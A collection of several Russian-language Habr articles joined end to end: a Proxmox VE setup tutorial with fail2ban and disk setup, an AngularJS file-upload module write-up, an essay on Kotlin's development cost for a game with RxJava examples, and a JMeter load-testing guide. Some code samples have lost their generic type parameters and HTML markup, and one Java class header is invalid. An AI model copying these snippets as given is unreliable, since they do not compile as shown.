К счастью, попробовать как работает виртуализация достаточно просто. Мы покажем, как создать сервер в виртуальной среде, например, для переноса CRM-системы, используемой в компании. Практически любой физический сервер можно превратить в виртуальный, но вначале необходимо освоить базовые приемы работы. Об этом и пойдет речь ниже.
Как это устроено
----------------
Когда речь идет о виртуализации, многим начинающим специалистам сложно разобраться в терминологии, поэтому поясним несколько базовых понятий:
* **Гипервизор** – специальное программное обеспечение, которое позволяет создавать виртуальные машины и управлять ими;
* **Виртуальная машина** (далее VM) – это система, представляющая собой логический сервер внутри физического со своим набором характеристик, накопителями и операционной системой;
* **Хост виртуализации** — физический сервер с запущенным на нем гипервизором.
Для того чтобы сервер мог работать полноценным хостом виртуализации, его процессор должен поддерживать одну из двух технологий – либо Intel® VT, либо AMD-V™. Обе технологии выполняют важнейшую задачу — предоставление аппаратных ресурсов сервера виртуальным машинам.
Ключевой особенностью является то, что любые действия виртуальных машин исполняются напрямую на уровне оборудования. При этом они друг от друга изолированы, что достаточно легко позволяет управлять ими по отдельности. Сам же гипервизор играет роль контролирующего органа, распределяя ресурсы, роли и приоритеты между ними. Также гипервизор занимается эмуляцией той части аппаратного обеспечения, которая необходима для корректной работы операционной системы.
Внедрение виртуализации дает возможность иметь в наличии несколько запущенных копий одного сервера. Критический сбой или ошибка, в процессе внесения изменений в такую копию, никак не повлияет на работу текущего сервиса или приложения. При этом также снимаются две основные проблемы – масштабирование и возможность держать «зоопарк» разных операционных систем на одном оборудовании. Это идеальная возможность совмещения самых разных сервисов без необходимости приобретения отдельного оборудования для каждого из них.
Виртуализация повышает отказоустойчивость сервисов и развернутых приложений. Даже если физический сервер вышел из строя и его необходимо заменить на другой, то вся виртуальная инфраструктура останется полностью работоспособной, при условии сохранности дисковых носителей. При этом физический сервер может быть вообще другого производителя. Это особенно актуально для компаний, которые используют серверы, производство которых прекращено и потребуется осуществить переход на другие модели.
Теперь перечислим самые популярные гипервизоры, существующие на текущий день:
* VMware ESXi
* Microsoft Hyper-V
* Open Virtualization Alliance KVM
* Oracle VM VirtualBox
Они все достаточно универсальны, однако, у каждого из них имеются определенные особенности, которые следует всегда учитывать на этапе выбора: стоимость развёртывания/обслуживания и технические характеристики. Стоимость коммерческих лицензий VMware и Hyper-V весьма высока, а в случае возникновения сбоев, решить проблему с этими системами собственными силами очень непросто.
KVM же напротив, полностью бесплатен и достаточно прост в работе, особенно в составе готового решения на базе Debian Linux под названием Proxmox Virtual Environment. Именно эту систему мы можем порекомендовать для первоначального знакомства с миром виртуальной инфраструктуры.
Как быстро развернуть гипервизор Proxmox VE
-------------------------------------------
Установка чаще всего не вызывает никаких вопросов. Скачиваем актуальную версию образа [с официального сайта](https://www.proxmox.com/en/downloads/category/iso-images-pve) и записываем его на любой внешний носитель с помощью утилиты [Win32DiskImager](https://sourceforge.net/projects/win32diskimager/) (в Linux используется команда dd), после чего загружаем сервер непосредственно с этого носителя. Наши клиенты, арендующие у нас выделенные серверы, могут воспользоваться двумя еще более простыми путями – просто смонтировав нужный образ непосредственно из KVM-консоли, либо используя [наш PXE-сервер](https://kb.selectel.ru/27821594.html).
Программа установки имеет графический интерфейс и задаст всего лишь несколько вопросов.
1. Выбираем диск, на который будет выполнена установка. В разделе **Options** можно также задать дополнительные параметры разметки.
2. Указываем региональные настройки.
3. Указываем пароль, который будет использоваться для авторизации суперпользователя root и E-mail адрес администратора.
4. Указываем сетевые настройки. FQDN обозначает полностью определенное имя домена, например, **node01.yourcompany.com**.
5. После завершения установки, сервер можно отправить в перезагрузку с помощью кнопки Reboot.
Веб-интерфейс управления станет доступен по адресу
```
https://IP_адрес_сервера:8006
```
Что нужно сделать после установки
---------------------------------
Есть несколько важных вещей, которые следует выполнить после установки Proxmox. Расскажем о каждой из них подробнее.
### Обновить систему до актуальной версии
Для этого зайдем в консоль нашего сервера и отключим платный репозиторий (доступен только тем, кто купил платную поддержку). Если этого не сделать — apt сообщит об ошибке при обновлении источников пакетов.
1. Открываем консоль и редактируем конфигурационный файл apt:
```
nano /etc/apt/sources.list.d/pve-enterprise.list
```
2. В этом файле будет всего одна строка. Ставим перед ней символ **#**, чтобы отключить получение обновлений из платного репозитория:
```
#deb https://enterprise.proxmox.com/debian/pve stretch pve-enterprise
```
3. Сочетанием клавиш **Ctrl + X** выполняем выход из редактора, отвечая **Y** на вопрос системы о сохранении файла.
4. Выполняем команду обновления источников пакетов и обновления системы:
```
apt update && apt -y upgrade
```
### Позаботиться о безопасности
Мы можем порекомендовать установить популярнейшую утилиту **Fail2Ban**, защищающую от атак методом перебора паролей (брутфорс). Принцип ее работы заключается в том, что если злоумышленник превысит определенное количество попыток входа за указанное время с неверным логином/паролем, то его IP-адрес будет заблокирован. Срок блокировки и количество попыток можно указать в конфигурационном файле.
> Исходя из практического опыта, за неделю работы сервера с открытым ssh-портом 22 и внешним статическим IPv4-адресом, было более 5000 попыток подобрать пароль. И около 1500 адресов утилита успешно заблокировала.
Для выполнения установки приводим небольшую инструкцию:
1. Открываем консоль сервера через веб-интерфейс или SSH.
2. Обновляем источники пакетов:
```
apt update
```
3. Устанавливаем Fail2Ban:
```
apt install fail2ban
```
4. Открываем конфигурацию утилиты на редактирование:
```
nano /etc/fail2ban/jail.conf
```
5. Изменяем переменные **bantime** (количество секунд на которые будет блокироваться злоумышленник) и **maxretry** (количество попыток ввода логина/пароля) для каждого отдельного сервиса.
6. Сочетанием клавиш **Ctrl + X** выполняем выход из редактора, отвечая **Y** на вопрос системы о сохранении файла.
7. Перезапускаем службу:
```
systemctl restart fail2ban
```
Проверить статус работы утилиты, например, снять статистику блокировок заблокированных IP-адресов с которых были попытки перебора паролей SSH, можно одной простой командой:
```
fail2ban-client -v status sshd
```
Ответ утилиты будет выглядеть примерно так:
```
root@hypervisor:~# fail2ban-client -v status sshd
INFO Loading configs for fail2ban under /etc/fail2ban
INFO Loading files: ['/etc/fail2ban/fail2ban.conf']
INFO Loading files: ['/etc/fail2ban/fail2ban.conf']
INFO Using socket file /var/run/fail2ban/fail2ban.sock
Status for the jail: sshd
|- Filter
| |- Currently failed: 3
| |- Total failed: 4249
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 410
`- Banned IP list:
```
Аналогичным способом можно закрыть от подобных атак Web-интерфейс, создав соответствующее правило. Пример такого правила для Fail2Ban можно найти в [официальном руководстве](https://pve.proxmox.com/wiki/Fail2ban).
Начало работы
-------------
Хочется обратить внимание на то, что Proxmox готов к созданию новых машин сразу после установки. Тем не менее, рекомендуем выполнить предварительные настройки, чтобы в дальнейшем системой было легко управлять. Практика показывает, что гипервизор и виртуальные машины стоит разнести по разным физическим носителям. О том, как это сделать и пойдет речь ниже.
### Настроить дисковые накопители
Следующим этапом следует настроить хранилище, которое можно будет использовать для сохранения данных виртуальных машин и резервных копий.
> **ВНИМАНИЕ! Приведенный ниже пример дисковой разметки можно использовать только для тестовых целей. Для эксплуатации в реальных условиях мы настоятельно рекомендуем использовать программный или аппаратный RAID-массив, чтобы исключить потерю данных при выходе дисков из строя. О том, как правильно приготовить дисковый массив к работе и как действовать в случае аварийной ситуации мы расскажем в одной из следующих статей**
Предположим, что физический сервер имеет два диска — **/dev/sda**, на который установлен гипервизор и пустой диск **/dev/sdb**, который планируется использовать для хранения данных виртуальных машин. Чтобы система смогла увидеть новое хранилище, можно воспользоваться самым простым и эффективным методом — подключить его как обычную директорию. Но перед этим следует выполнить некоторые подготовительные действия. В качестве примера посмотрим, как подключить новый диск **/dev/sdb**, любого размера, отформатировав его в файловую систему **ext4**.
1. Размечаем диск, создавая новый раздел:
```
fdisk /dev/sdb
```
2. Нажимаем клавишу **o** или **g** (разметить диск в MBR или GPT).
3. Далее нажимаем клавишу **n** (создать новый раздел).
4. И наконец **w** (для сохранения изменений).
5. Создаем файловую систему ext4:
```
mkfs.ext4 /dev/sdb1
```
6. Создаем директорию, куда будем монтировать раздел:
```
mkdir /mnt/storage
```
7. Открываем конфигурационный файл на редактирование:
```
nano /etc/fstab
```
8. Добавляем туда новую строку:
```
/dev/sdb1 /mnt/storage ext4 defaults 0 0
```
9. После внесения изменений сохраняем их сочетанием клавиш **Ctrl + X**, отвечая **Y** на вопрос редактора.
10. Для проверки, что все работает, отправляем сервер в перезагрузку:
```
shutdown -r now
```
11. После перезагрузки проверяем смонтированные разделы:
```
df -H
```
Вывод команды должен показать, что **/dev/sdb1** смонтирован в директорию **/mnt/storage**. Это значит, что наш накопитель готов к работе.
### Добавить новое хранилище в Proxmox
Авторизуемся в панели управления и заходим в разделы **Датацентр** ➝ **Хранилище** ➝ **Добавить** ➝ **Директория**.
В открывшемся окне заполняем следующие поля:
* **ID** — название будущего хранилища;
* **Директория** — /mnt/storage;
* **Содержимое** — выделяем все варианты (поочередно щелкая на каждом варианте).
После этого нажимаем кнопку **Добавить**. На этом настройка завершена.
### Создать виртуальную машину
Для создания виртуальной машины выполняем следующую последовательность действий:
1. Определяемся с версией операционной системы.
2. Заранее закачиваем ISO-образ.
3. Выбираем в меню **Хранилище** только что созданное хранилище.
4. Нажимаем **Содержимое** ➝ **Загрузить**.
5. Выбираем из списка ISO-образ и подтверждаем выбор нажатием кнопки **Загрузить**.
После завершения операции образ будет отображен в списке доступных.
Создаем нашу первую виртуальную машину:
1. Нажимаем **Создать VM**.
2. Заполняем поочередно параметры: **Имя** ➝ **ISO-Image** ➝ **Размер и тип жесткого диска** ➝ **Количество процессоров** ➝ **Объем оперативной памяти** ➝ **Сетевой адаптер**.
3. Выбрав все желаемые параметры нажимаем **Завершить**. Созданная машина будет отображена в меню панели управления.
4. Выбираем ее и нажимаем **Запуск**.
5. Переходим в пункт **Консоль** и выполняем установку операционной системы точно таким же образом, как и на обычный физический сервер.
Если необходимо создать еще одну машину — повторяем вышеуказанные операции. После того как все они будут готовы, с ними можно работать одновременно, открывая несколько окон консоли.
### Настроить автозапуск
По умолчанию Proxmox автоматически не запускает машины, но это легко решается буквально двумя щелчками мыши:
1. Щелкаем по названию нужной машины.
2. Выбираем вкладку **Опции** ➝ **Запуск при загрузке**.
3. Ставим галочку напротив одноименной надписи.
Теперь, в случае перезагрузки физического сервера, VM будет запущена автоматически.
Для продвинутых администраторов имеется еще и возможность указать дополнительные параметры запуска в разделе **Start/Shutdown order**. Можно явным образом указать в каком порядке следует запускать машины. Также можно указать время, которое должно пройти до старта следующей VM и время задержки выключения (если операционная система не успеет завершить работу, гипервизор принудительно ее выключит через определенное количество секунд).
Заключение
----------
В этой статье были изложены основы того, как можно начать работать с Proxmox VE и мы надеемся, что она поможет начинающим специалистам сделать первый шаг и попробовать виртуализацию в действии.
Proxmox VE — это действительно очень мощный и удобный инструмент для любого системного администратора; главное не бояться экспериментировать и понять, как это действительно работает.
Если у вас появились вопросы, добро пожаловать в комментарии. | https://habr.com/ru/post/483236/ | null | ru | null |
# Загрузка файлов в AngularJS
Давно писал модуль для загрузки файлов и всё он был не идеальным. И тут подумал, если сейчас не опубликую, то никогда не опубликую, идеал-то не достижим!
При составлении АПИ руководствовался принципом — как можно проще. Поэтому сначала несколько мыслей о загрузке файлов:
**Загрузка только методом POST.** Как показала практика, сам по себе файл почти никогда не бывает отдельной сущностью и всегда привязан к каким-то другим данным в базе, поэтому создавать запись вместе с загрузкой файла — плохая идея. Правильно: сначала создать запись, потом отдельным запросом добавить туда файл. Такой подход снимает кучу вопросов, связанных с отменой загрузки, параллельным редактированием описания файла и проч. Так же, создавая запись предварительно, мы можем получить в ответ данные о количестве свободного места на сервере и использовать их для валидации на клиенте.
**Загрузка каждого файла отдельным запросом.** На любом хостинге существует ограничение на максимальный размер POST-запроса (напр., 10 МБ). Если мы грузим одновременно 10 файлов, значит их вес в сумме не должен превышать 10МБ. В 99% случаев проще пожертвовать производительностью и не иметь проблем с такими ограничениями.
**Никаких отложенных загрузок.** Файл должен загружаться сразу после добавления (не в 2000 году, чай, живем), поэтому никаких методов работы с очередью — выбрал файл, выбрал еще 5 штук, удалил один, нажал «отправить» — не будет. Зато будет отмена загрузки.
**Не стоит разделять загрузку файлов по кнопке и перетаскиванием.** В моем случае любая область, помеченная директивой позволяет перетаскивать на нее файлы, а если это инпут с типом file, то еще и в проводнике можно выбрать. Очень удобно знать, что на кнопку можно перетаскивать, когда потянул в браузер 10 файлов, а дизайнер забыл подсветить поле перетаскивания, и гадаешь перетащатся ли они или откроются в новом окне.
Так же, идеальным, был бы вариант загрузки через метод $save ресурса или подобный, но такого расширения можно долго ждать от разработчиков ([костыль на эту тему](https://github.com/uor/angular-file)). Пока так глубоко не влезал, поэтому сделал чуть более топорно.
##### Особенности модуля
* Загрузка файлов через xhr и iframe (для старых браузеров)
* Чтение изображений до загрузки на сервер (если браузер поддерживает FileReader)
* Одна директива для кнопки и области перетаскивания, как было сказано выше.
* Встроенный валидатор, который при желании можно заменить своим.
* Встроенная функция обработки ошибок, которую так же можно заменить своей.
* Общий прогресс для одновременно загружаемых файлов.
##### Планы на будущее (с вашей помощью ;-)
* Ограничение количества одновременно загружаемых фалов
* Уменьшение картинки на клиенте
* Веб-камера
* Допиливание загрузчиков для старых браузеров
* Рефакторинг
##### Подключение
Подключение модуля:
```
angular.module('myApp', ['oi.file']);
```
Использование директивы в HTML-шаблоне:
```
* ![]()
```
Настройка в контроллере:
```
$scope.file = {} //Модель
$scope.options = {
//Вызывается для каждого выбранного файла
change: function (file) {
//В file содержится информация о файле
//Загружаем на сервер
file.$upload('uploader.php', $scope.file)
})
}
}
```
Создание элемента модели для каждого файла:
```
$scope.items = model;
$scope.options = {
change: function (file) {
//Создаем пустой элемент для будущего файла
$scope.add(function (i, id) {
//Загружаем картинку через FileReader до загрузки на сервер
file.$preview($scope.items[i]);
//Загружаем на сервер
file.$upload('uploader.php' + id, $scope.items[i], {allowedType: ["jpeg", "jpg", "png"]})
.catch(function (data) {
//Удаляем элемент при неудачной загрузке
$scope.del(data.item.id);
})
})
}
}
```
Метод `catch` доступен, начиная с Ангуляра 1.2. В старых версиях используйте вместо него `then(null, function (data) {...})`. `$preview` и `$upload` возвращают обещания. См. [$q](http://www.angular.ru/api/ng.%24q).
Пример с уменьшением изображения на клиенте:
```
file.$preview({})
.then(function (data) {
//Изображение прочитано. Уменьшаем его с помощью canvas
minimize(file._file);
//Отправляем
file.$upload('uploader.php', $scope.avatar)
}, function (data) {
//Изображение не прочитано. Отправляем как есть
file.$upload('uploader.php', $scope.avatar)
});
```
##### Исходники, демо
[Гитхаб](https://github.com/tamtakoe/oi.file), [демонстрация](http://tamtakoe.ru/uploader/), [песочница](http://plnkr.co/edit/HKbvgle4zqfqCKcpLJDi?p=preview)
##### Аналоги
Параллельно [nervgh](https://habrahabr.ru/users/nervgh/) написал [angular-file-upload](https://github.com/nervgh/angular-file-upload) с гораздо более богатым АПИ, где на каждый чих формируется событие. Обратите внимание, кого не устроит бедность моего. | https://habr.com/ru/post/191464/ | null | ru | null |
# Kotlin и стоимость разработки игры (+ немного оффтопика)
Добрый день. Сегодня я хочу рассказать о разработке игры с использованием языка программирования Kotlin. Также приведу небольшой пример работы с RxJava в конце статьи.
Первый commit для этой игры случился 4 июня сего года, то есть до открытой беты я дошёл примерно за 3 с половиной 4 недели. Нельзя сказать что это первая игра или программа под Android которую я разрабатываю, но и опытным разработчикам под Андроид я также не являюсь. Мой предыдущий опыт в основном составляла Enterprise разработка.
Я хочу обозначить несколько тем в этой статье и пробежаться по ним коротенечко. Тему Kotlin’a постараюсь раскрыть подробно, по остальным возможны дополнительные статьи если будет такой запрос от вас (ну и плюс уточняющие вопросы в комментариях помогут улучшить подачу материала). Итак к списку: это сравнение стоимости разработка на Kotlin vs Java, где брать графику для вашей игры. Немного про деньги (пока про затраты, т.к. статистики по доходам пока нет). Также я считаю очень важно коснуться мотивировочной части. Начнем пожалуй с конца.
**Мотивация**Почему я начинаю эту статью с такой казалось бы мелочи как мотивация? Ведь если я хочу создать приложение, значит я уже мотивирован. И всё хорошо, и меня ждет успех. Проблема в том что часто приступая к работе мы не осознаем свою истинную мотивацию: ждем ли мы денег, есть ли личная потребность, хотим ли мы создать пример для своего портфолио. Вариантов может быть много. Казалось бы, какая разница если я все равно мотивирован? Но взять к примеру портфолио — вроде бы хорошая инвестиция. Ты сможешь показывать своим потенциальным работодателям готовый продукт и они конечно же впечатлятся и тут же назначат огромную зарплату. Так вот, по мере разработки, по мере того как вы вкладываете свои силы и время, ценность портфолио начинает отходить на второй план (особенно если визуальной привлекательности добиться не удается). Уже хочется получить каких-то денег и если изначально планов монетизации приложения не было, то каждый следующий день требует все большей силы воли. Так в чём же проблема? Казалось бы — начинал работать с одной мотивацией, а в середине процесса разработки добавил монетизацию, выложил в Google Play и заработал 100500 руб. К сожалению так не работает. Пользователи не хотят тратить время на глючное, сырое или неинтересное приложение. То есть вы не можете выложить проект в середине разработки. Если вы так сделаете, скорее всего это просто приведет к падению рейтинга и отсутствию скачивания. То есть вся ваша работа по сути уйдёт в мусорную корзину.
Если вы изначально рассматриваете монетизацию как один из своих интересов, еще до самого старта работ вы должны понимать на чём вы будете зарабатывать деньги. Самое простое и самое неэффективное это рекламные баннеры. Чуть сложнее или примерно так же просто — показ рекламы на весь экран. Далее идет магазин. Но для того чтобы магазин заработал, вам необходимо зацепить пользователя чем-то. Чем раньше вы получите просмотр рекламы, тем больше это будет подпитывать вашу мотивацию продолжать работать дальше.
**Графика**Вопрос графики для программиста является пожалуй что основной проблемой. Я имею в виду игры конечно. Когда я только начинал разработку, я считал что главное написать код, а уж найти графику не такая большая проблема. Может быть даже и заказать.
Существует значительное количество стоков ресурсов где графика продается, существуют ресурсы с бесплатными картинками. И в принципе да, действительно, так оно и есть. Есть только одна проблема — эти ресурсы выполнены в разных художественном стиле и комбинация из них даёт крайне странные результаты. Поэтому если вы разрабатываете свою первую игру, мой вам настоятельный совет — не ищите графику под свои задумки. Ищите готовые наборы графики под игру, и исходя из графики решайте что вы можете реализовать. Такие наборы есть, их не так чтобы много, но по крайней мере для первого второго раза вам хватит.
В моем же случае получилось что я потратил 2 недели на разработку, купил какие-то ресурсы в маркетах, но естественно их не хватило для того чтобы реализовать мою задумку. Скажу честно — купленная графика составляла менее чем 30% от необходимого. Но ведь нет нерешаемых вопросов, можно найти исполнителей которые нарисуют то, что вам нужно. И здесь мы с удивлением узнаём, что это не так просто. Особенно если нас интересует качественный результат. Что делал я — я просматривал стоки, находил интересные в плане графики экземпляры, переходил на описание автора и пробовал связаться.
Уже на этом этапе у вас должен быть перечень элементов которые вы хотите заказать и уже на этом этапе скорее всего ваши розовые слоники приопустят хоботы. Но пока это только предчувствие. Вы отправляете письмо с вопросом “можно ли обратиться для заказа графики” и в зависимости от профессионализма исполнителя (а те люди с которыми я обращался были профессионалами за исключением одного) вы получите сразу ответ что “Да можно, часовая ставка 25$/час”, ваш запрос будет выполнен за 30-40 часов не включая доработки по замечаниям (свободное время для заказа будет через полтора месяца). Или “Могу сделать за месяц-полтора, будет стоить 50 тысяч рублей”. Либо “Нет, у меня я слишком много работы и я дополнительные заказ не беру”. Это всё профессиональный варианты ответа. А самое неудачное что со мной случилось это следующее:
— А сколько вы готовы заплатить? (То есть человек не оценивает ресурсоемкость или сложность поставленной задачи, а пытается адаптироваться под платежеспособность заказчика)
— от 10000 до 20000 руб (Это был первый художник с которым я связался и в тот момент я считал что данная сумма Вполне себе подходит для небольшой, как я считал, работы)
Человек большого интереса не проявил, на вроде как согласился. Сам назначил срок когда даст описание что он за эту сумму может мне предоставить… и пропал. Это даже не звоночек это колокол что дальнейшая работа с подобным человеком для вас закончится неудачей. Тем не менее через 3 дня после озвученного им же срока, он связался со мной и сказал что сделает всё что мне надо за 15000 рублей. Я очень настороженно отношусь к обобщениям, поэтому попросил перечислить что же будет входить в это “всё” по пунктам. После чего человек пропадает с концами и я считаю что это счастливый конец истории.
#### Kotlin
Разработка личного проекта существенно отличается от рабочего. Различий несколько, но я остановлюсь на самом (для меня) существенном. Это отношение к стоимости разработки. В подавляющем большинстве случаев работодатель определяет требования, часто инструмент. Он же несет финансовую ответственность. Есть тестирование или нет, какие библиотеки и какой стек технологий. В личном проекте все права и все обязанности — на вас лично. Хотите использовать новый фреймворк — ради бога. Но время которое вы потратите на его освоение вы будете “оплачивать” из своего кармана. И да, не стоит думать что вы работаете бесплатно. Выкиньте из головы эту мысль, напишите на стикере вашу ставку в час и крайне желательно чтобы она соответствовала хотя бы средней стоимости специалиста вашей квалификации по городу. Не надо занижать себе цену.
Таким образом вопрос эффективности вашей работы встает на первый план. А сделал ли я что-то полезное за эти 8 часов, за что в ином случае я получил бы (к примеру) 4000 рублей? То есть вопрос Kotlin vs Java я предлагаю решать исключительно с финансовой точки зрения. Оба языка тьюринг-полные и значит любую программу написанную на Kotlin можно реализовать на Java и наоборот. За счет чего же мы можем получить разницу в стоимости разработки/стоимости владения продуктом?
Стоимость разработки — это количество денег для реализации функциональности. Стоимость владения = стоимость разработки + стоимость поддержки. В некоторых случая стоимость поддержки несоизмеримо выше стоимости разработки. Это особенно характерно для write-only языков (пример RegExp. Гораздо проще написать новое выражение чем понять где ошибка в существующем).
В идеале язык должен быть дешевым и в разработке, и в поддержке. Сокращение boilerplate code однозначно удешевляет разработку. Синтаксический сахар удешевляет разработку, но может (подчеркну может, но не обязан) приводить к увеличению стоимости владения. Синтаксическая соль удорожает разработку но удешевляет стоимость владения. Ниже я приведу примеры кода на Kotlin и Java и опишу какой вариант на мой взгляд дешевле и почему. Часть примеров будет из моего проекта, часть нет.
```
class Car(val id: String) {
var speed: Double = 0.0
}
```
```
public class Car() {
public final String id;
public Double speed;
public Car(String id) {
this.id = id;
this.speed = 0.0;
}
}
```
\* Для DTO классов нет необходимости в геттерах/сеттерах
\*\* Геттеры/сеттеры имеют смысл только и только в том случае, если они меняют поведение при работе с полями
В данном сравнении мы видим что код на Kotlin более читаемый и самое главное он защищен от “ошибки на миллиард” — NPE. И id, и speed в Kotlin не могут быть null.
```
var car: Car = Car(null) // compile error
car.speed = null // compile error
```
Второй, не менее важный момент в приведенном выше примере — это мутабельность.
```
fun toRoman(value: Int): String {
val singles = arrayOf("", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX")
val tens = arrayOf("", "X", "XX", "XXX", "XL", "L", "LX", "LXX", "LXXX", "XC")
val hundreds = arrayOf("", "C", "CC", "CCC", "CD", "D", "DC", "DCC", "DCCC", "CM")
val thousands = arrayOf("", "M", "MM", "MMM")
val roman = thousands[value / 1000] + hundreds[value % 1000 / 100] + tens[value % 100 / 10] + singles[value % 10]
return roman
}
```
```
public String toRoman(int value) {
final String[] singles = new String[] { "", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX" };
final String[] tens = new String[] { "", "X", "XX", "XXX", "XL", "L", "LX", "LXX", "LXXX", "XC" };
final String[] hundreds = new String[] { "", "C", "CC", "CCC", "CD", "D", "DC", "DCC", "DCCC", "CM" };
final String[] thousands = new String[] { "", "M", "MM", "MMM" };
final String roman = thousands[value / 1000] + hundreds[value % 1000 / 100] + tens[value % 100 / 10] + singles[value % 10];
return roman;
}
```
Не так много разницы, не правда ли? Тем не менее модификаторы final смотрятся крайне неуместно и визуально засоряют программу. Это приводит к тому, что final используется в Java гораздо реже чем следовало бы. А ведь иммьютбл гораздо дешевле и в разработке и во владении.
А вот пример трансформации данных:
```
val data:List = ArrayList()
val sum = data.filter { it > 0 }.sum()
```
```
List data = new ArrayList<>();
final Integer[] sum = { 0 }; //Variable used in lambda expression should be final or effectively final
data.stream().filter(value -> value > 0).forEach(value -> sum[0] += value);
```
Тут два момента. Kotlin выполняется на jvm 6, Java требует jvm 8 для стримов. А для андроида, это на минуточку 24 API. На 5 июня это всего 9,5% устройств. И второй момент — final or effectively final переменные в лямбдах Java.
```
Инициализация объекта
private val buttonGroup = ButtonGroup().apply {
setMinCheckCount(0)
}
```
```
private ButtonGroup buttonGroup = new ButtonGroup<>();
…
public constructor(...) {
…
buttonGroup.setMinCheckCount(0);
…
}
```
Инициализация объекта в Kotlin’e возможна в одном месте что сокращает контекст для программиста и снижает стоимость вложения
В принципе, из того что я попробовал в Kotlin это самые серьезные вещи, влияющие на стоимость владения продуктом. Я сейчас не хочу говорить про вкусовщину типа data classes, перегрузку операторов, string template, lazy properties и т.п. Все это вещи интересные но они могут как сокращать, так и увеличивать стоимость владения.
В заключение небольшой пример Kotlin + RxJava + Jackson. Я хочу иметь dto класс, который позволит не просто хранить данные, но и уведомлять об их изменениях. Пример упрощенный для более наглядной демонстрации.
```
interface Property {
var value: T
val rx: Observable
}
open class BaseProperty(defaultValue: T) : Property {
override var value: T = defaultValue
set(value) {
field = value
\_rx.onNext(field)
}
private val \_rx = PublishSubject.create()
override val rx: Observable = \_rx
get() {
return field.startWith(value)
}
}
```
Здесь хочу обратить внимание на перегрузку val rx. При подписке на Observable сразу же приходит текущее значение. Это важно т.к. десериализация из json'a случается раньше чем верстка экрана и подвязывание графических элементов к свойству. А при startWith мы сразу инициализируем графический элемент текущим значением и меняем по ходу пьесы.
```
class Car {
private val _speed = BaseProperty(0.0)
var speed: Double
get() = _speed.value
set(value) {
_speed.value = value
}
@JsonIgnore
val rxSpeed: Observable = \_speed.rx
}
class Police {
val cars: List = listOf(Car("1st"), Car("2nd"), Car("3rd"))
init {
cars.forEach {
car -> car.rxSpeed
.map { speed -> speed > 60 } // преобразует double скорость в boolean скоростьПревышена
.distinctUntilChanged()
.filter { aboveLimit -> aboveLimit == true }
.subscribe { writeTicket(car) }
}
}
private fun writeTicket(car: Car) {
// do some stuff
}
}
```
Класс Car прекрасно сериализуется/десериализуется Jackson'ом, может быть использован как классический dto класс, но в то же время позволяет обрабатывать изменения свойств в реактив стиле.
Ниже пример подвязки Label к свойству объекта:
```
Label("", assets.skin, "progress-bar-time-indicator").apply {
setAlignment(Align.center)
craft.rx(DURATION).subscribe {
setText(TimeFormat.format(it))
}
})
```
Заключение:
К сожалению я не могу представить объективных цифр насколько стоимость владения продуктом на Kotlin'e дешевле Java. Да и само это утверждения я уверен будет не раз оспорено в комментариях. Могу сказать только по своему субъективному суждению, цифра в 1.5 — 2 раза для меня реальна. Причем сокращение стоимости владения в полтора раза характерно для начала перехода с Java на Kotlin, примерно через неделю-две я думаю на двойную эффективность вышел. В основном за счет NPE-proof, immutable, lambda & функции высшего порядка.
**Upd:**
[Статья по графике](https://habrahabr.ru/post/331988/) | https://habr.com/ru/post/331976/ | null | ru | null |
# Убираем лишние запятые из javascript-кода
Когда пишешь на js, часто возникают ситуации, когда то тут, то там остаются строчки вида ",)" или ",}" или ",]". В ff, chrome код с такими фрагментами работает, а вот в IE нет.
Лекарство для вима:
`autocmd BufWritePre *.js :%s/\(.*\),\(\s*\n*\s*\)\(\}\|\]\|)\)/\1\2\3/e`
Регулярка написана на коленке, но она работает и фиксит большинство проблем с запятыми по коду.
Дополнения приветствуются!
**UPD:**
Такой подход хоть и фиксит большинство рядовых случаев, но также может попортить код с регулярками или, например, строками:
`var a = "[,]";
var a = /[,]/;`
превратится в:
`var a = "[]";
var a = /[]/;`
Если в вашем коде есть регулярки и/или строки с похожими конструкциями, то лучше использовать jslint для валидации. Для вима можно использовать [github.com/hallettj/jslint.vim](http://github.com/hallettj/jslint.vim) | https://habr.com/ru/post/114435/ | null | ru | null |
# Как создать нагрузочный тест с помощью Apache Jmeter
В этом посте я опишу, как создать нагрузочный тест веб-приложения с помощью инструмента для проведения нагрузочного тестирования, разрабатываемого в рамках Apache Jakarta Project — **JMeter**.
JMeter является очень мощным инструментом нагрузочного тестирования с возможностью создания большого количества запросов одновременно благодаря параллельной работе на нескольких компьютерах. Поддерживает плагины, при помощи которых можно расширить функционал. Инструмент использовался мной ранее при тестировании крупного интернет-банкинга. Скачать JMeter можно по ссылке <http://jmeter.apache.org/download_jmeter.cgi>, для запуска нужно зайти в \bin\jmeter.bat.
Запустив программу, слева видим 2 пункта — **Test Plan** и **WorkBench**. Добавим **Thread group** в Test plan, для этого нужно нажать правой клавишей на Test plan — Add — Threads (Users) — Thread group.
Далее уже внутри Thread group создадим элементы настроек теста, нажимаем правой клавишей на Thread group — Add — Config Element и выбираем по очереди 4 пункта:
* **HTTP Authorization Manager**. Его используем, когда нужно проводить тест с авторизацией пользователя. Нажимаем Add и заполняем Base URL ресурса, в User и Password указываем логин и пароль учетной записи.
* **HTTP Cookie Manager** автоматически будет сохранять куки.
* **HTTP Header Manager** к каждому записанному пакету добавит информацию о заголовке, для просмотра которой нужно будет «раскрыть» строку (дерево на скриншоте будет создано нами немного позже). Заголовок можно редактировать.
* **HTTP Request Defaults**. Параметры данной настройки (такие как имя и порт сервера, запросы с параметром и т.д.) будут применены ко всем элементам, расположенным в тест плане, у которых не указаны свои настойки.
Следующее, что будет сделано — добавление **HTTP Proxy Server**. Нажимаем правой клавишей на WorkBench — Add — Non-Test Elements — HTTP Proxy Server. В настройках HTTP Proxy Server указываем любой уникальный адрес порта (я всегда использую 8089) и снимаем отметку Capture HTTP Headers.
Теперь идем в любой браузер для настройки прокси сервера на нем. Я предпочитаю для таких целей Firefox. В настройках сети указываем использование прокси и вписываем HTTP Proxy — localhost, порт — используемый нами 8089. Не забудьте удалить исключение для localhost.
Возвращаемся в Jmeter в HTTP Proxy Server и нажимаем в самом низу кнопку Start. Теперь обратно в браузер, и загружаем все интерфейсы, которые нуждаются в проведении нагрузочного тестирования.
Возвращаемся в Jmeter и нажимаем Stop в HTTP Proxy Server.
> В ситуации, в которой нужно править настройки хоста у тех пакетов, у которых они отличны от HTTP Request Defaults, это удобнее делать следующим образом. Сохраняем проект (File — Save), и закрываем его. Открываем сохраненный файл \*.jmx при помощи Notepad++ (или Блокнот) и удаляем значения у всех строк:
>
> `domain`
>
> `port`
>
> `protocol`
>
